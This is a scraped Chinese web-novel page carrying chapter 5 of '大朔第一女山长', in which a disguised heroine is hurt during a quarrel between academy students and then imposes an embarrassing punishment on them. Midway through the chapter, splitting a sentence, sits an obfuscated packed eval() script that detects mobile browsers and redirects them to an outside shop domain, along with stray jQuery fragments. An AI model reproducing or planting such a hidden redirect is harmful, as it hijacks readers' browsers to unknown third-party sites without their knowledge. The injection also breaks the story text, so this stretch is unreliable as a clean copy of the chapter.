文趣网 > 都市小说 > 大朔第一女山长 > 5. 第五章 水土不服
    同座的人避开。

    剩下两个书生,形成对峙之势。扔出书后,再无动作。眼神如有实形,想必已经真刀真枪地干过了一场。

    动静吸引了众人的注意。

    怀安来不及放下手中的书卷,匆匆赶来,拦开二人,压低声音呵斥:“当着夫子的面,吵吵嚷嚷的做什么?!”

    其中一位掸了掸衣角,唇角一扯,眉毛一挑,看着怀安,似在漫不经心的聊天:“不过是有的人羡人有、恨己无罢了。兜里若有几个臭钱,上赶着买题比谁都快。只是可惜了,生来不如人,两袖清风,钱袋空空,只能白白眼红,空口黄牙污蔑他人清白!”

    他腰间环带上挂着一枚玉石灵猴带钩,无需识货也能看出价值不菲。这是书院里稀有的有钱子弟。

    “生来不如人也好过生来就长了双瞧不起人的狗眼。有的人就是买了题,默了全文,也考不过童试。哪里还有颜面每日耀武扬威地招摇过市?”

    另一位脸涨得通红,转向了一旁,嘴上不落下风地骂了回去。

    好利落的两张嘴。

    如果不是还有一些遗留的职业道德,听多了三字经骂架的书予有想鼓掌的冲动。

    她还好。秦烨不知修炼了何方妖术,皱紧眉头,面上摆出了紧张时局的关切,嘴唇不见动作,竟然出了声:“打起来,打起来。”

    害得祝雨扑哧一声笑了起来。

    幸好风雨在即,没人关注他们三只小菜鸡。

    宿夫子的手搭在世洁手背上,徐徐走到二人身前。

    他神色如常,不见疾言厉色,只是淡淡的唤了他俩的名字。

    “明树,裕堂。”

    “见过夫子。”

    纵有天大的仇,到了夫子面前,二人也别别扭扭地转过身,一齐对着他点头行礼。

    “都坐回去吧,明树晚上来找我。”

    阳光从窗外斜斜照进来,落在宿夫子如玉雕琢的侧脸上。

    涨红脸的书生深吸了几口气,颔首应了是。

    没有严词批评,没有对簿公堂,一场硝烟就此平息。

    书予犹然不解。

    这是怎么听出来谁在惹事的,作弊嫌疑就可以轻轻放下?

    “哎,打不起来了。”

    不用回头,都知道是谁在唯恐天下不乱。

    “噗嗤……”

    不用回头,都知道是谁在忍俊不禁。

    但书予还是回头看了一眼祝雨,微微摇头。

    秦烨她管不着,可祝雨在书院里就不该引人注目。

    仅此一眼,祝雨惊呼出声:“你流血了!”慌慌张张地递给她一张帕子。

    书予面无表情地抬手一摸,脸颊一片冰凉。

    合着最后,架没打起来,只有她这个倒霉蛋成了全场唯一受害者。

    宿云息本已背身离去,闻言又转了回来。

    世洁在他身边轻声说了些什么,似在同步解说战局。

    他眉间轻蹙,朝着声音的方向:“伤得重不重?”

    书予不想生事,笑着说道:“不打紧。”

    一笑,扯得伤口一痛,话说到末尾像响尾蛇一样嘶嘶作响。

    完全藏不住。

    这下扔书的裕堂也难逃一责。

    夫子缓声道:“凭空起些口舌是非,已让人厌烦,竟然还动手伤及无辜,这就是你们从圣贤书里学来的道理吗?”

    他语气平静,可明树、裕堂二人还是慌了神。

    对他们来说,“让夫子厌烦”已经是极其严重的评价。

    书予站到怀安身侧,悄悄问:“夫子会怎么罚他们?”

    “或许要停课吧,真是活该!”怀安看着书予的伤口,关心道,“你这要是留了疤,有碍仕途,他刘裕堂便是有再多的钱也补偿不来!”

    书予拿帕子擦了擦,毫不在意地笑笑:“我考不了科举,落了疤也没关系,只要夫子不生气,不耽误同学们的功课就行。”

    她走到夫子身前,请求道:“夫子,既然是我受了伤,可否容我惩戒他们?”

    宿夫子稍加迟疑,想起她曾做过乡塾先生,也有自己的一套管教方式,点头应允。

    两个书生不安地看着这个陌生的面孔,不知他葫芦里卖的什么药。

    裕堂甚至将手缩回了袖中,掂量起了钱袋的分量,思索着如果他要狮子大开口,这些够不够。

    “就罚你二人,这一堂课站在讲堂外,手拉着手,一刻都不许松。”

    书予说完,志得意满地翘起嘴角。

    “太邪恶了。”秦烨的吐槽像背后灵般幽幽响起。

    明树、裕堂对视一眼泯恩仇,同时转向山长:“夫子,我知错了!”

    宿云息径直离去,他不赞同此举,然而说出的话泼过的水,此时已无权置喙。

    夫子眼不见为净了,书予还丈二和尚摸不着头脑,重重拿起轻轻放下不好么?

    总比停课强吧。

    两个人悲惨地走到讲堂外,试探地伸出手指,刚一碰到对方的手,就像触电般往回一缩。最后叛逆又不敢完全叛逆地收回手,自行简化为原地罚站。

    书予的本意就不是为难他们。睁一只眼闭一只眼,只当自己做了件好事。

    其他学生各自去做功课,她兀自回房处理伤势。

    一照镜子才发现,右侧脸颊划了条四五厘米的口子,看着吓人,好在不深。

    她轻轻擦拭干净血迹。

    经历了一遭生死存亡,什么都看得开了。换了前世,光想一想,都很难接受脸上留疤的可能。

    可现在没饭吃的日子都熬过来了,这点小伤算什么。

    比起这个,还不如加紧提醒祝雨,这绣着鸳鸯的粉色帕子,可不能再当众拿出来了。

    傍晚时

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912166|213158||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    分,她早早地来到书房外,预备上工。

    回廊里,已站了明树和世洁。

    明树怨毒地看她一眼,默默移步,拒她于千里之外。

    世洁刮目相看地看着她,低声感慨:“识人识面不识心,没看出来,你还能这么恶毒。”

    “有吗?”书予不以为意,“夫子有客人?”

    “是,等着吧,还在叙旧呢。”

    窗台支起,从她的角度恰能看见,一位身着锦缎直裰、宽额阔面的老伯正在喜不自胜地和夫子畅谈些什么。

    说得兴起了,不是拍拍夫子的书案,就是拍拍他的肩膀。

    一双手闲不下来,脚也一刻不停地踱着步。

    夫子的表情难得一见的乱了阵脚。

    面色如玉,耳尖却通红,薄唇微张,被那话多的老伯怼得说不出话来。

    书予看得惊奇,不知这位老伯是何方神圣,竟然能将夫子变成这般活灵活现、栩栩如生。

    她心知这成语用得不对,可用在按照圣人标准打磨出来的夫子身上,又好像非常恰当。

    再多看下去就不礼貌了。

    她垂下头去,心想,还是这样有活人气的夫子比较可爱。

    世洁有意和她继续说下午的事:“你以前都这样对你的学生吗?他们不生气?”

    “尴尬窘迫多少有一些,但都是一笑而过。警戒效果也很好。”

    书予说着说着,慢慢反思起来,莫非真的很失当?

    “我们夫子惩罚学生,不管怎么样,都‘不辱其亲、不伤其尊’。你这招,比用戒尺打脸还厉害。”

    书予沉默,渐渐回味过来,从前的学生是不是能全盘接受还另说。因材施教,她照搬老方法到古代,注定会水土不服。

    她果断感谢世洁的指点,紧跟着就要找明树道歉。

    世洁还在莫名其妙。

    屋里的老伯兴冲冲地走了出来。书予没来得及叫住明树,他已经垂头丧气地挪了进去。

    那老伯一看见书予就住了脚,惋惜道:“哎呀,好好的读书人,怎么搞的,伤成这样?有没有药膏?什么丹参膏、当归白芷粉都试一试。当今殿下就喜欢长得好看的,弄花了脸以后可不好做官了。”

    书予展颜笑道:“多谢老伯,人之所贵,不在肤表,一点小伤不妨事。”

    “诶,即便不当官,男儿也要为悦己者容嘛,”老伯不赞同地摆摆手,他看一眼天色,“下回我来云息这儿,给你带点好膏药。天晚了,先走了。”

    “那只好却之不恭了。”

    书予笑着一礼,目送老伯离开,一转头看见世洁满面骇然。

    “你叫他什么?”

    书予摸摸下巴:“老伯啊,有什么不对吗?”

    给人叫老了,应该叫大哥、大叔?

    “什么老伯,那是夫子的尊翁,云州刺史宿大人!”